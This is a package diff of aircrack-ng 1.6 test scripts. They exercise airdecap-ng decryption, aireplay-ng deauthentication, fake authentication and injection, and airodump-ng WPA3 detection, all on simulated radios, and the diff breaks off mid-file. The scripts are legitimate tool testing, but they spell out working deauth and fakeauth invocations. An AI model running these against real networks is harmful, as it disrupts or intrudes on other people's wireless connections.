aircrack-ng-1.4.tar.gz/test/test-airdecap-ng.sh -> aircrack-ng-1.6.tar.gz/test/test-airdecap-ng.sh Changed

@@ -15,9 +15,9 @@
 
 compute_sha1() {
     if type "sha1sum" > /dev/null 2>/dev/null ; then
-        sha1sum "${1}" | awk '{print $1}'
+        sha1sum "${1}" | ${AWK} '{print $1}'
     elif type "shasum" > /dev/null 2>/dev/null ; then
-        shasum "${1}" | awk '{print $1}'
+        shasum "${1}" | ${AWK} '{print $1}'
     elif type "sha1" > /dev/null 2>/dev/null ; then
         sha1 -q "${1}"
     else
@@ -35,8 +35,8 @@
 fi
 # Test1
 cp -f "${TESTDIR}/wpa.cap" "${tmpdir}"
-"${top_builddir}/src/airdecap-ng${EXEEXT}" -e test -p biscotte "${tmpdir}/wpa.cap" | \
-        grep "Number of decrypted WPA  packets         2" || exit 1
+"${abs_builddir}/../airdecap-ng${EXEEXT}" -e test -p biscotte "${tmpdir}/wpa.cap" | \
+        ${GREP} "Number of decrypted WPA  packets         2" || exit 1
 [ $? -ne 0 ] && exit 1
 result=$(compute_sha1 "${tmpdir}/wpa-dec.cap")
 
@@ -47,8 +47,8 @@
 
 # Test 2
 cp -f "${TESTDIR}/wpa-psk-linksys.cap" "${tmpdir}"
-"${top_builddir}/src/airdecap-ng${EXEEXT}" -e linksys -p dictionary "${tmpdir}/wpa-psk-linksys.cap" | \
-        grep "Number of decrypted WPA  packets        53"
+"${abs_builddir}/../airdecap-ng${EXEEXT}" -e linksys -p dictionary "${tmpdir}/wpa-psk-linksys.cap" | \
+        ${GREP} "Number of decrypted WPA  packets        53"
 [ $? -ne 0 ] && exit 1
 result=$(compute_sha1 "${tmpdir}/wpa-psk-linksys-dec.cap")
 
@@ -59,8 +59,8 @@
 
 # Test 3
 cp -f "${TESTDIR}/wpa2-psk-linksys.cap" "${tmpdir}"
-"${top_builddir}/src/airdecap-ng${EXEEXT}" -e linksys -p dictionary "${tmpdir}/wpa2-psk-linksys.cap" | \
-        grep "Number of decrypted WPA  packets        25"
+"${abs_builddir}/../airdecap-ng${EXEEXT}" -e linksys -p dictionary "${tmpdir}/wpa2-psk-linksys.cap" | \
+        ${GREP} "Number of decrypted WPA  packets        25"
 [ $? -ne 0 ] && exit 1
 result=$(compute_sha1 "${tmpdir}/wpa2-psk-linksys-dec.cap")

aircrack-ng-1.6.tar.gz/test/test-aireplay-ng-0001.sh Added

@@ -0,0 +1,75 @@
+#!/bin/sh
+# Aireplay-ng fakeauth against hostapd
+
+if test ! -z "${CI}"; then exit 77; fi
+
+# Load helper functions
+. "${abs_builddir}/../test/int-test-common.sh"
+
+# Check root
+check_root
+
+# Check all required tools are installed
+check_airmon_ng_deps_present
+is_tool_present hostapd
+
+# Check for interfering processes
+airmon_ng_check
+
+# Cleanup
+finish() {
+	cleanup
+	[ -n "${OUTPUT_TEMP}" ] && rm -f ${OUTPUT_TEMP}
+}
+
+trap  finish INT QUIT SEGV PIPE ALRM TERM EXIT
+
+# Load mac80211_hwsim
+load_module 2
+
+# Check there are two radios
+check_radios_present 2
+
+# Get interfaces names
+get_hwsim_interface_name 1
+WI_IFACE=${IFACE}
+get_hwsim_interface_name 2
+WI_IFACE2=${IFACE}
+
+# Prepare HostAPd configuration
+SSID=thisrocks
+CHANNEL=1
+cat >> ${TEMP_HOSTAPD_CONF_FILE} << EOF
+# Aireplay-ng test 1
+driver=nl80211
+interface=${WI_IFACE}
+channel=${CHANNEL}
+hw_mode=g
+ssid=${SSID}
+# Aireplay-ng test 1
+EOF
+
+# Start HostAPd
+run_hostapd ${TEMP_HOSTAPD_CONF_FILE}
+[ $? -eq 0 ] && exit 1
+
+# Put other interface in monitor mode
+set_monitor_mode ${WI_IFACE2}
+[ $? -eq 1 ] && exit 1
+set_interface_channel ${WI_IFACE2} ${CHANNEL}
+[ $? -eq 1 ] && exit 1
+
+# Run actual test
+OUTPUT_TEMP=$(mktemp)
+"${abs_builddir}/../aireplay-ng${EXEEXT}" \
+    -1 1 \
+    -e "${SSID}" \
+    -T 1 \
+    ${WI_IFACE2} \
+	2>&1 >${OUTPUT_TEMP}
+
+# Check if association is successful
+RET=0
+[ -z "$(${GREP} 'Association successful' ${OUTPUT_TEMP})" ] && RET=1 && cat ${OUTPUT_TEMP}
+
+exit ${RET}

aircrack-ng-1.6.tar.gz/test/test-aireplay-ng-0002.sh Added

@@ -0,0 +1,66 @@
+#!/bin/sh
+# Aireplay-ng: broadcast deauth
+
+if test ! -z "${CI}"; then exit 77; fi
+
+# Load helper functions
+. "${abs_builddir}/../test/int-test-common.sh"
+
+# Check root
+check_root
+
+# Check all required tools are installed
+check_airmon_ng_deps_present
+is_tool_present tcpdump
+
+# Check for interfering processes
+airmon_ng_check
+
+trap  cleanup INT QUIT SEGV PIPE ALRM TERM EXIT
+
+# Load mac80211_hwsim
+load_module 1
+
+# Check there are two radios
+check_radios_present 1
+
+# Get interfaces names
+get_hwsim_interface_name 1
+WI_IFACE=${IFACE}
+
+# Put other interface in monitor mode
+set_monitor_mode ${WI_IFACE}
+[ $? -eq 1 ] && exit 1
+set_interface_channel ${WI_IFACE} 1
+[ $? -eq 1 ] && exit 1
+
+# Check it is in monitor mode
+[ -z "$(iw dev ${WI_IFACE} info | ${GREP} 'type monitor')" ] && exit 1
+
+# Start tcpdump capture in the background
+TCPDUMP_IFACE=${WI_IFACE}
+run_tcpdump
+
+# Next test is directed
+AP_MAC="00:11:22:33:44:55"
+"${abs_builddir}/../aireplay-ng${EXEEXT}" \
+	-0 1 \
+	-a ${AP_MAC} \
+	-D \
+	${WI_IFACE} \
+		2>&1 >/dev/null
+
+# Wait a second
+sleep 2
+
+# Kill tcpdump
+kill_tcpdump
+
+# Count packets
+AMOUNT_PACKETS=$(tcpdump -r ${TEMP_TCPDUMP_PCAP} 2>/dev/null | ${GREP} "DeAuthentication (${AP_MAC}" | wc -l)
+
+# There should be exactly 256 deauth
+[ ${AMOUNT_PACKETS} -eq 256 ] && exit 0
+
+echo "Invalid amount of deauth (${AMOUNT_PACKETS}), expected 256"
+exit 1

aircrack-ng-1.6.tar.gz/test/test-aireplay-ng-0003.sh Added

@@ -0,0 +1,72 @@
+#!/bin/sh
+# Aireplay-ng: directed deauth
+
+if test ! -z "${CI}"; then exit 77; fi
+
+# Load helper functions
+. "${abs_builddir}/../test/int-test-common.sh"
+
+# Check root
+check_root
+
+# Check all required tools are installed
+check_airmon_ng_deps_present
+is_tool_present tcpdump
+
+# Check for interfering processes
+airmon_ng_check
+
+trap  cleanup INT QUIT SEGV PIPE ALRM TERM EXIT
+
+# Load mac80211_hwsim
+load_module 1
+
+# Check there are two radios
+check_radios_present 1
+
+# Get interface name
+get_hwsim_interface_name 1
+WI_IFACE=${IFACE}
+
+# Put interface in monitor so tcpdump captures in the correct mode
+set_monitor_mode ${WI_IFACE}
+[ $? -eq 1 ] && exit 1
+
+# Start tcpdump capture in the background
+TCPDUMP_IFACE=${WI_IFACE}
+run_tcpdump
+
+# Next test is directed
+AP_MAC="00:11:22:33:44:55"
+CLIENT_MAC="00:13:37:00:11:22"
+"${abs_builddir}/../aireplay-ng${EXEEXT}" \
+	-0 1 \
+	-a ${AP_MAC} \
+	-c ${CLIENT_MAC} \
+	-D \
+	${WI_IFACE} \
+		2>&1 >/dev/null
+
+# Wait a second
+sleep 2
+
+# Kill tcpdump
+kill_tcpdump
+
+# Count packets
+AMOUNT_PACKETS_AP=$(tcpdump -r ${TEMP_TCPDUMP_PCAP} 2>/dev/null | ${GREP} "DeAuthentication (${AP_MAC}" | wc -l)
+AMOUNT_PACKETS_CLIENT=$(tcpdump -r ${TEMP_TCPDUMP_PCAP} 2>/dev/null | ${GREP} "DeAuthentication (${CLIENT_MAC}" | wc -l)
+
+# There should be exactly 256 deauth total
+RET=0
+if [ ${AMOUNT_PACKETS_CLIENT} -ne 128 ]; then
+	RET=1
+	echo "Expected 128 deauth frames from the client, got ${AMOUNT_PACKETS_CLIENT}"
+fi
+
+if [ ${AMOUNT_PACKETS_AP} -ne 128 ]; then
+	RET=1
+	echo "Expected 128 deauth frames from the AP, got ${AMOUNT_PACKETS_AP}"
+fi
+
+exit ${RET}

aircrack-ng-1.6.tar.gz/test/test-aireplay-ng-0004.sh Added

@@ -0,0 +1,83 @@
+#!/bin/sh
+# Aireplay-ng: injection test
+
+if test ! -z "${CI}"; then exit 77; fi
+
+# Load helper functions
+. "${abs_builddir}/../test/int-test-common.sh"
+
+# Check root
+check_root
+
+# Check all required tools are installed
+check_airmon_ng_deps_present
+is_tool_present hostapd
+
+# Check for interfering processes
+airmon_ng_check
+
+# Cleanup
+finish() {
+	[ -n "${OUTPUT_TEMP}" ] && rm -rf ${OUTPUT_TEMP}
+	cleanup
+}
+
+trap  finish INT QUIT SEGV PIPE ALRM TERM EXIT
+
+# Load mac80211_hwsim
+load_module 2
+
+# Check there are two radios
+check_radios_present 2
+
+# Get interfaces names
+get_hwsim_interface_name 1
+WI_IFACE=${IFACE}
+get_hwsim_interface_name 2
+WI_IFACE2=${IFACE}
+
+# Set-up hostapd
+SSID=thisrocks
+CHANNEL=1
+cat <<EOF > ${TEMP_HOSTAPD_CONF_FILE}
+driver=nl80211
+interface=${WI_IFACE}
+channel=${CHANNEL}
+hw_mode=g
+ssid=${SSID}
+# Aireplay-ng test 4
+EOF
+
+# Start HostAPd
+run_hostapd ${TEMP_HOSTAPD_CONF_FILE}
+[ $? -eq 0 ] && exit 1
+
+# Put other interface in monitor mode
+set_monitor_mode ${WI_IFACE2}
+[ $? -eq 1 ] && exit 1
+set_interface_channel ${WI_IFACE2} ${CHANNEL}
+[ $? -eq 1 ] && exit 1
+
+# Run actual test
+OUTPUT_TEMP=$(mktemp)
+"${abs_builddir}/../aireplay-ng${EXEEXT}" \
+    -9 \
+    ${WI_IFACE2} \
+	2>&1 > ${OUTPUT_TEMP}
+
+if [ -z "$(${GREP} 'Injection is working!' ${OUTPUT_TEMP})" ]; then
+	echo "Injection is not working"
+	exit 1
+fi
+
+if [ -n "$(${GREP} '/30' ${OUTPUT_TEMP})" ]; then
+	if [ -z "$(${GREP} '30/30' ${OUTPUT_TEMP})" ]; then
+		echo "AP not present or failure injecting"
+		exit 1
+	fi
+else
+	echo "Some failure while injecting: $(${GREP} '/30' ${OUTPUT_TEMP})"
+	exit 1
+fi
+
+exit 0

aircrack-ng-1.6.tar.gz/test/test-aireplay-ng-0005.sh Added

@@ -0,0 +1,86 @@
+#!/bin/sh
+# Aireplay-ng: Injection test with bitrate
+
+if test ! -z "${CI}"; then exit 77; fi
+
+# Load helper functions
+. "${abs_builddir}/../test/int-test-common.sh"
+
+# Check root
+check_root
+
+# Check all required tools are installed
+check_airmon_ng_deps_present
+is_tool_present hostapd
+
+# Check for interfering processes
+airmon_ng_check
+
+# Cleanup
+finish() {
+	[ -n "${OUTPUT_TEMP}" ] && rm -f ${OUTPUT_TEMP}
+	cleanup
+}
+
+trap  finish INT QUIT SEGV PIPE ALRM TERM EXIT
+
+# Load mac80211_hwsim
+load_module 2
+
+# Check there are two radios
+check_radios_present 2
+
+# Get interfaces names
+get_hwsim_interface_name 1
+WI_IFACE=${IFACE}
+get_hwsim_interface_name 2
+WI_IFACE2=${IFACE}
+
+# Set-up hostapd
+SSID=thisrocks
+CHANNEL=1
+TEMP_HOSTAPD_CONF_FILE=$(mktemp)
+cat <<EOF > ${TEMP_HOSTAPD_CONF_FILE} 
+driver=nl80211
+interface=${WI_IFACE}
+channel=${CHANNEL}
+hw_mode=g
+ssid=${SSID}
+# Aireplay-ng test 5
+EOF
+
+# Start HostAPd
+run_hostapd ${TEMP_HOSTAPD_CONF_FILE}
+[ $? -eq 0 ] && exit 1
+
+# Put other interface in monitor mode
+set_monitor_mode ${WI_IFACE2}
+[ $? -eq 1 ] && exit 1
+set_interface_channel ${WI_IFACE2} ${CHANNEL}
+[ $? -eq 1 ] && exit 1
+
+# Run actual test
+OUTPUT_TEMP=$(mktemp)
+"${abs_builddir}/../aireplay-ng${EXEEXT}" \
+    -9 \
+    -B \
+    ${WI_IFACE2} \
+	2>&1 > ${OUTPUT_TEMP}
+
+# Then checks
+if [ -z "$(${GREP} 'Injection is working!' ${OUTPUT_TEMP})" ]; then
+	echo "Injection is not working"
+	exit 1
+fi
+
+if [ -z "$(${GREP} '30/30' ${OUTPUT_TEMP})" ]; then
+	echo "AP not present or failure injecting"
+	exit 1
+fi
+
+if [ -z "$(${GREP} 'Probing at 54.0 Mbps:	30/30: 100%' ${OUTPUT_TEMP})" ]; then
+	echo "Failed bitrate test"
+	exit 1
+fi
+
+exit 0

aircrack-ng-1.6.tar.gz/test/test-aireplay-ng-0006.sh Added

@@ -0,0 +1,61 @@
+#!/bin/sh
+# Aireplay-ng: deauth test with reason code
+
+if test ! -z "${CI}"; then exit 77; fi
+
+# Load helper functions
+. "${abs_builddir}/../test/int-test-common.sh"
+
+# Check root
+check_root
+
+# Check all required tools are installed
+check_airmon_ng_deps_present
+is_tool_present tcpdump
+
+# Check for interfering processes
+airmon_ng_check
+
+trap  cleanup INT QUIT SEGV PIPE ALRM TERM EXIT
+
+# Load mac80211_hwsim
+load_module 1
+
+# Check there are two radios
+check_radios_present 1
+
+# Get interfaces names
+get_hwsim_interface_name 1
+WI_IFACE=${IFACE}
+
+# Put interface in monitor so tcpdump captures in the correct mode
+set_monitor_mode ${WI_IFACE}
+[ $? -eq 1 ] && exit 1
+
+# Start tcpdump capture in the background
+TCPDUMP_IFACE=${WI_IFACE}
+run_tcpdump
+
+# Next test is directed
+AP_MAC="00:11:22:33:44:55"
+"${abs_builddir}/../aireplay-ng${EXEEXT}" \
+	-0 1 \
+	-a ${AP_MAC} \
+	-D \
+	--deauth-rc 10 \
+	${WI_IFACE} \
+		2>&1 >/dev/null
+
+# Wait a second
+sleep 2
+
+# Kill tcpdump
+kill_tcpdump
+
+# There should be exactly 256 deauth
+AMOUNT_PACKETS=$(tcpdump -r ${TEMP_TCPDUMP_PCAP} 2>/dev/null | ${GREP} "DeAuthentication (${AP_MAC}" | ${GREP} 'Disassociated because the information in the Power Capability element is unacceptable' | wc -l)
+[ ${AMOUNT_PACKETS} -eq 256 ] && exit 0
+
+echo "Expected 256 deauth frames, got ${AMOUNT_PACKETS}"
+
+exit 1

aircrack-ng-1.6.tar.gz/test/test-aireplay-ng-0007.sh Added

@@ -0,0 +1,131 @@
+#!/bin/sh
+# Aireplay-ng/Airodump-ng: Fake auth on shared WEP key
+
+if test ! -z "${CI}"; then exit 77; fi
+
+# Load helper functions
+. "${abs_builddir}/../test/int-test-common.sh"
+
+# Check root
+check_root
+
+# Check all required tools are installed
+check_airmon_ng_deps_present
+is_tool_present screen
+is_tool_present hostapd
+is_tool_present wpa_supplicant
+
+# Check for interfering processes
+airmon_ng_check
+
+# Cleanup
+finish() {
+	screen_cleanup
+	[ -n "${AD_PID}" ] && kill -9 ${AD_PID}
+	[ -n "${TEMP_FILE}" ] && [ -f "${TEMP_FILE}-01.csv" ] && rm -f ${TEMP_FILE}-01.*
+	[ -n "${XOR_FILE}" ] && [ -f "${XOR_FILE}" ] && rm -f ${XOR_FILE}
+	cleanup
+}
+
+trap  finish INT QUIT SEGV PIPE ALRM TERM EXIT
+
+# Load mac80211_hwsim
+load_module 3
+
+# Check there are two radios
+check_radios_present 3
+
+# Get interfaces names
+get_hwsim_interface_name 1
+WI_IFACE=${IFACE}
+get_hwsim_interface_name 2
+WI_IFACE2=${IFACE}
+get_hwsim_interface_name 3
+WI_IFACE3=${IFACE}
+
+# Set-up hostapd
+SSID=thisrocks
+CHANNEL=1
+TEMP_HOSTAPD_CONF_FILE=$(mktemp)
+WEP_KEY="abcde"
+cat <<EOF > ${TEMP_HOSTAPD_CONF_FILE} 
+auth_algs=2
+ssid=${SSID}
+interface=${WI_IFACE}
+wep_key0="${WEP_KEY}"
+channel=${CHANNEL}
+driver=nl80211
+# Aireplay-ng test 7
+EOF
+
+# Start HostAPd
+run_hostapd ${TEMP_HOSTAPD_CONF_FILE}
+[ $? -eq 0 ] && exit 1
+
+# Put third interface in monitor mode
+set_monitor_mode ${WI_IFACE3}
+[ $? -eq 1 ] && exit 1
+set_interface_channel ${WI_IFACE3} ${CHANNEL}
+[ $? -eq 1 ] && exit 1
+
+# Run airodump-ng in the background
+TEMP_FILE=$(mktemp -u)
+screen -AmdS capture \
+	"${abs_builddir}/../airodump-ng" \
+		${WI_IFACE3} \
+		-c  ${CHANNEL} \
+		-w ${TEMP_FILE} \
+		--background 1
+
+# Wait 3 secs
+sleep 3
+
+# Get airodump-ng PID
+AD_PID=$(ps faux | ${GREP} airodump | ${GREP} "${TEMP_FILE}" | ${GREP} -v grep | ${AWK} '{print $2}')
+if [ -z "${AD_PID}" ]; then
+	echo "Failed starting airodump-ng"
+	exit 1
+fi
+
+# Prepare WPA Supplicant
+cat >> ${TEMP_WPAS_CONF_FILE} << EOF
+network={
+	ssid="${SSID}"
+	key_mgmt=NONE
+	auth_alg=SHARED
+	wep_key0="${WEP_KEY}"
+	wep_tx_keyidx=0
+}
+# Aireplay-ng test 7
+EOF
+
+# Run wpa_supplicant
+# Set interface up
+set_interface_channel ${WI_IFACE2} ${CHANNEL}
+[ $? -eq 1 ] && exit 1
+
+# Start wpa_supplicant
+run_wpa_supplicant ${TEMP_WPAS_CONF_FILE} ${WI_IFACE2}
+
+# Wait for wpa_supplicant to be done
+sleep 6
+
+# Clean up
+kill -9 ${AD_PID}
+kill_wpa_supplicant
+
+# Check we have the xor file
+XOR_FILE="$(ls -1 ${TEMP_FILE}*.xor)"
+if [ -z "${XOR_FILE}" ]; then
+	echo "Failed getting XOR file from airodump-ng from real authentication"
+	exit 1
+fi
+
+# Run aireplay-ng fakeauth
+"${abs_builddir}/../aireplay-ng" \
+	--fakeauth 0 \
+	-e "${SSID}" \
+	-y ${XOR_FILE} \
+		${WI_IFACE3}
+
+exit $?

aircrack-ng-1.6.tar.gz/test/test-aireplay-ng-0008.sh Added

@@ -0,0 +1,79 @@
+#!/bin/sh
+# Aireplay-ng/Airodump-ng: Fake auth on a 5GHz channel 
+
+if test ! -z "${CI}"; then exit 77; fi
+
+# Load helper functions
+. "${abs_builddir}/../test/int-test-common.sh"
+
+# Check root
+check_root
+
+# Check all required tools are installed
+check_airmon_ng_deps_present
+is_tool_present screen
+is_tool_present hostapd
+
+# Check for interfering processes
+airmon_ng_check
+
+trap  cleanup INT QUIT SEGV PIPE ALRM TERM EXIT
+
+# Load mac80211_hwsim
+load_module 2
+
+# Check there are two radios
+check_radios_present 2
+
+# Get interfaces names
+get_hwsim_interface_name 1
+WI_IFACE=${IFACE}
+get_hwsim_interface_name 2
+WI_IFACE2=${IFACE}
+
+# Check if 5GHz is allowed
+get_first_5ghz_channel ${WI_IFACE}
+if [ $? -eq 1 ]; then
+	backup_regdomain
+	set_regdomain US
+fi
+get_first_5ghz_channel ${WI_IFACE}
+if [ $? -eq 1 ]; then
+	echo 'Failed getting a 5GHz channel after setting a regdomain known to allow it'
+	exit 1
+fi
+
+# Set-up hostapd
+SSID=thisrocks
+CHANNEL=${FIRST_5GHZ_CHANNEL}
+TEMP_HOSTAPD_CONF_FILE=$(mktemp)
+WEP_KEY="abcdf"
+cat <<EOF > ${TEMP_HOSTAPD_CONF_FILE} 
+auth_algs=1
+ssid=${SSID}
+interface=${WI_IFACE}
+wep_key0="${WEP_KEY}"
+channel=${CHANNEL}
+hw_mode=a
+driver=nl80211
+# Aireplay-ng test 8
+EOF
+
+# Start HostAPd
+run_hostapd ${TEMP_HOSTAPD_CONF_FILE}
+[ $? -eq 0 ] && exit 1
+
+# Put other interface in monitor mode
+set_monitor_mode ${WI_IFACE2}
+[ $? -eq 1 ] && exit 1
+
+set_interface_channel ${WI_IFACE2} ${CHANNEL}
+[ $? -eq 1 ] && exit 1
+
+# Run aireplay-ng fakeauth
+"${abs_builddir}/../aireplay-ng" \
+	--fakeauth 0 \
+	-e "${SSID}" \
+		${WI_IFACE2}
+
+exit $?

aircrack-ng-1.6.tar.gz/test/test-airodump-ng-0001.sh Added

@@ -0,0 +1,87 @@
+#!/bin/sh
+# Airodump-ng: Check base files generated are good
+
+if test ! -z "${CI}"; then exit 77; fi
+
+# Load helper functions
+. "${abs_builddir}/../test/int-test-common.sh"
+
+# Check root
+check_root
+
+# Check all required tools are installed
+check_airmon_ng_deps_present
+is_tool_present screen
+
+# Check for interfering processes
+airmon_ng_check
+
+# Cleanup
+finish() {
+	screen_cleanup
+	[ -n "${TEMP_FILE}" ] && [ -f "${TEMP_FILE}-01.csv" ] && rm -f ${TEMP_FILE}*
+	cleanup
+}
+
+trap  finish INT QUIT SEGV PIPE ALRM TERM EXIT
+
+# Load mac80211_hwsim
+load_module 1
+
+# Check there are two radios
+check_radios_present 1
+
+# Get interfaces names
+get_hwsim_interface_name 1
+WI_IFACE=${IFACE}
+
+CHANNEL=9
+
+# Put interface in monitor mode
+set_monitor_mode ${WI_IFACE}
+[ $? -eq 1 ] && exit 1
+set_interface_channel ${WI_IFACE} ${CHANNEL}
+[ $? -eq 1 ] && exit 1
+
+TEMP_FILE=$(mktemp -u)
+screen -AmdS capture \
+	timeout 3 \
+		"${abs_builddir}/../airodump-ng" \
+			${WI_IFACE} \
+			-c  10 \
+			-w ${TEMP_FILE} \
+			--background 1
+
+# Wait a few seconds for it to finish
+sleep 5
+
+# Basic checks
+if [ $(ls -1 ${TEMP_FILE}-01.* | wc -l) -ne 5 ]; then
+	echo "Failed creating files"
+	exit 1
+fi
+
+if [ $(md5sum "${TEMP_FILE}-01.cap" | ${AWK} '{print $1}' ) != '50d6b6d03c0e582a1ae60986e5f53832' ]; then
+	echo "Invalid PCAP file"
+	exit 1
+fi
+
+if [ $(md5sum "${TEMP_FILE}-01.csv" | ${AWK} '{print $1}') != '7b5b92716e839e310d8edda8ec21a469' ]; then
+	echo "Invalid CSV file"
+	exit 1
+fi
+
+if [ $(md5sum "${TEMP_FILE}-01.kismet.csv" | ${AWK} '{print $1}') != '0f402e05f06f582a7931420075485369' ]; then
+	echo "Invalid Kismet CSV file"
+	exit 1
+fi
+
+if [ $(md5sum "${TEMP_FILE}-01.log.csv" | ${AWK} '{print $1}') != '6bdaf36ee12b14b2a5a80c3af8ae7160' ]; then
+	echo "Invalid Log CSV"
+	exit 1
+fi
+
+# TODO: Verify Kismet NetXML
+echo 'Kismet NetXML is not verified'
+
+exit 0

aircrack-ng-1.6.tar.gz/test/test-airodump-ng-0002.sh Added

@@ -0,0 +1,116 @@
+#!/bin/sh
+# Airodump-ng: Test WPA3 detection
+
+if test ! -z "${CI}"; then exit 77; fi
+
+# Load helper functions
+. "${abs_builddir}/../test/int-test-common.sh"
+
+# Check root
+check_root
+
+# Check all required tools are installed
+check_airmon_ng_deps_present
+is_tool_present screen
+is_tool_present hostapd
+
+# Check for interfering processes
+airmon_ng_check
+
+# Check HostAPd version supports WPA3
+HOSTAPD_VER="$(hostapd -v 2>&1 | ${GREP} hostapd | ${AWK} '{print $2}')"
+if [ -z "${HOSTAPD_VER}" ]; then
+	echo "Failed getting hostapd version, skipping"
+	exit 1
+elif [ "$(echo ${HOSTAPD_VER} | ${GREP} -v -E '^v((2\.[789])|(3.[0-9]))')" ]; then
+	echo "hostapd version does not support WPA3, skipping"
+	echo "v2.7+ required, got ${HOSTAPD_VER}"
+	exit 77
+fi
+
+# Cleanup
+finish() {
+	screen_cleanup
+	[ -n "${TEMP_FILE}" ] && [ -f "${TEMP_FILE}-01.csv" ] && rm -f ${TEMP_FILE}*
+	cleanup
+}
+
+trap  finish INT QUIT SEGV PIPE ALRM TERM EXIT
+
+# Load mac80211_hwsim
+load_module 1
+
+# Check there are two radios
+check_radios_present 1
+
+# Get interfaces names
+get_hwsim_interface_name 1
+WI_IFACE=${IFACE}
+
+# Start hostapd with WPA3
+cat >> ${TEMP_HOSTAPD_CONF_FILE} << EOF
+interface=${WI_IFACE}
+ssid=test
+channel=1
+wpa=2
+sae_password=password
+wpa_key_mgmt=SAE
+rsn_pairwise=CCMP
+ieee80211w=2
+sae_require_mfp=1
+# Airodump-ng test 2
+EOF
+
+# Start hostapd
+run_hostapd ${TEMP_HOSTAPD_CONF_FILE}
+
+# Start hwsim0
+ip link set hwsim0 up
+
+TEMP_FILE=$(mktemp -u)
+screen -AmdS capture \
+	timeout 4 \
+		"${abs_builddir}/../airodump-ng" \
+			hwsim0 \
+			-c 1 \
+			-w ${TEMP_FILE} \
+			--background 1
+
+# Wait a few seconds for it to finish
+sleep 6
+
+# Check CSV
+ENCRYPTION_SECTION="$(head -n 3 ${TEMP_FILE}-01.csv | tail -n 1 | ${AWK} -F, '{print $6 $7 $8}')"
+if [ -z "${ENCRYPTION_SECTION}" ]; then
+	echo "Something failed with airodump-ng, did not get info from CSV"
+	exit 1
+elif [ "$(echo ${ENCRYPTION_SECTION} | tr -d ' ')" != 'WPA3WPA2CCMPSAE' ]; then
+	echo "Encryption section is not what is expected. Got ${ENCRYPTION_SECTION}"
+	exit 1
+fi
+
+# Check NetXML
+if [ ! -f ${TEMP_FILE}-01.kismet.netxml ]; then
+	echo "Kismet netxml file not found"
+	rm -f ${TEMP_FILE}-01.*
+	exit 1
+fi
+ENCRYPTION_SECTION="$(${GREP} '<encryption>WPA+SAE</encryption>' ${TEMP_FILE}-01.kismet.netxml)"
+if [ -z "${ENCRYPTION_SECTION}" ]; then
+        echo "Failed to find SAE in the kismet netxml"
+        exit 1
+fi
+
+# Check Kismet CSV
+if [ ! -f ${TEMP_FILE}-01.kismet.csv ]; then
+	echo 'Kismet CSV not found'
+	exit 1
+fi
+ENCRYPTION_SECTION="$(tail -n 1 ${TEMP_FILE}-01.kismet.csv | ${AWK} -F\; '{print $8}')"
+if [ "x${ENCRYPTION_SECTION}" != 'xWPA3,AES-CCM,SAE' ]; then
+	echo "Encryption section not found or invalid in Kismet CSV"
+	echo "Expected 'WPA3,AES-CCM,SAE', got ${ENCRYPTION_SECTION}"
+	exit 1
+fi
+
+exit 0

aircrack-ng-1.6.tar.gz/test/test-airodump-ng-0003.sh Added

@@ -0,0 +1,126 @@
+#!/bin/sh
+# Airodump-ng: Test WPA3 (OWE) detection
+
+if test ! -z "${CI}"; then exit 77; fi
+
+# Load helper functions
+. "${abs_builddir}/../test/int-test-common.sh"
+
+# Check root
+check_root
+
+# Check all required tools are installed
+check_airmon_ng_deps_present
+is_tool_present screen
+is_tool_present hostapd
+
+# Check for interfering processes
+airmon_ng_check
+
+# Check HostAPd version supports WPA3
+HOSTAPD_VER="$(hostapd -v 2>&1 | ${GREP} hostapd | ${AWK} '{print $2}')"
+if [ -z "${HOSTAPD_VER}" ]; then
+	echo "Failed getting hostapd version, skipping"
+	exit 1
+elif [ "$(echo ${HOSTAPD_VER} | ${GREP} -v -E '^v((2\.[789])|(3.[0-9]))')" ]; then
+	echo "hostapd version does not support WPA3, skipping"
+	echo "v2.7+ required, got ${HOSTAPD_VER}"
+	exit 77
+fi
+
+# Cleanup
+finish() {
+	screen_cleanup
+	[ -n "${TEMP_FILE}" ] && [ -f "${TEMP_FILE}-01.csv" ] && rm -f ${TEMP_FILE}*
+	cleanup
+}
+
+trap  finish INT QUIT SEGV PIPE ALRM TERM EXIT
+
+# Load mac80211_hwsim
+load_module 1
+
+# Check there are two radios
+check_radios_present 1
+
+# Get interfaces names
+get_hwsim_interface_name 1
+WI_IFACE=${IFACE}
+
+# Start hostapd with WPA3
+cat >> ${TEMP_HOSTAPD_CONF_FILE} << EOF
+interface=${WI_IFACE}
+ssid=test
+channel=1
+wpa=2
+wpa_passphrase=password
+wpa_key_mgmt=OWE
+rsn_pairwise=CCMP
+ieee80211w=2
+# Airodump-ng test 3
+EOF
+
+# Start hostapd
+run_hostapd ${TEMP_HOSTAPD_CONF_FILE}
+
+# Start hwsim0
+ip link set hwsim0 up
+
+TEMP_FILE=$(mktemp -u)
+screen -AmdS capture \
+	timeout 4 \
+		"${abs_builddir}/../airodump-ng" \
+			hwsim0 \
+			-c 1 \
+			-w ${TEMP_FILE} \
+			--background 1
+
+# Wait a few seconds for it to finish
+sleep 6
+
+# Some cleanup
+cleanup
+
+# Check CSV
+ENCRYPTION_SECTION="$(head -n 3 ${TEMP_FILE}-01.csv | tail -n 1 | ${AWK} -F, '{print $6 $7 $8}')"
+if [ -z "${ENCRYPTION_SECTION}" ]; then
+	echo "Something failed with airodump-ng, did not get info from CSV"
+	rm -f ${TEMP_FILE}-01.*
+	exit 1
+elif [ "$(echo ${ENCRYPTION_SECTION} | tr -d ' ')" != 'WPA3WPA2CCMPOWE' ]; then
+	echo "Encryption section is not what is expected. Got ${ENCRYPTION_SECTION}"
+	rm -f ${TEMP_FILE}-01.*
+	exit 1
+fi
+
+# Check NetXML
+if [ ! -f ${TEMP_FILE}-01.kismet.netxml ]; then
+	echo "Kismet netxml file not found"
+	rm -f ${TEMP_FILE}-01.*
+	exit 1
+fi
+ENCRYPTION_SECTION="$(${GREP} '<encryption>WPA+OWE</encryption>' ${TEMP_FILE}-01.kismet.netxml)"
+if [ -z "${ENCRYPTION_SECTION}" ]; then
+        echo "Failed to find OWE in the kismet netxml"
+	rm -f ${TEMP_FILE}-01.*
+        exit 1
+fi
+
+# Check Kismet CSV
+if [ ! -f ${TEMP_FILE}-01.kismet.csv ]; then
+	echo 'Kismet CSV not found'
+	rm -f ${TEMP_FILE}-01.*
+	exit 1
+fi
+ENCRYPTION_SECTION="$(tail -n 1 ${TEMP_FILE}-01.kismet.csv | ${AWK} -F\; '{print $8}')"
+if [ "x${ENCRYPTION_SECTION}" != 'xWPA3,AES-CCM,OWE' ]; then
+	echo "Encryption section not found or invalid in Kismet CSV"
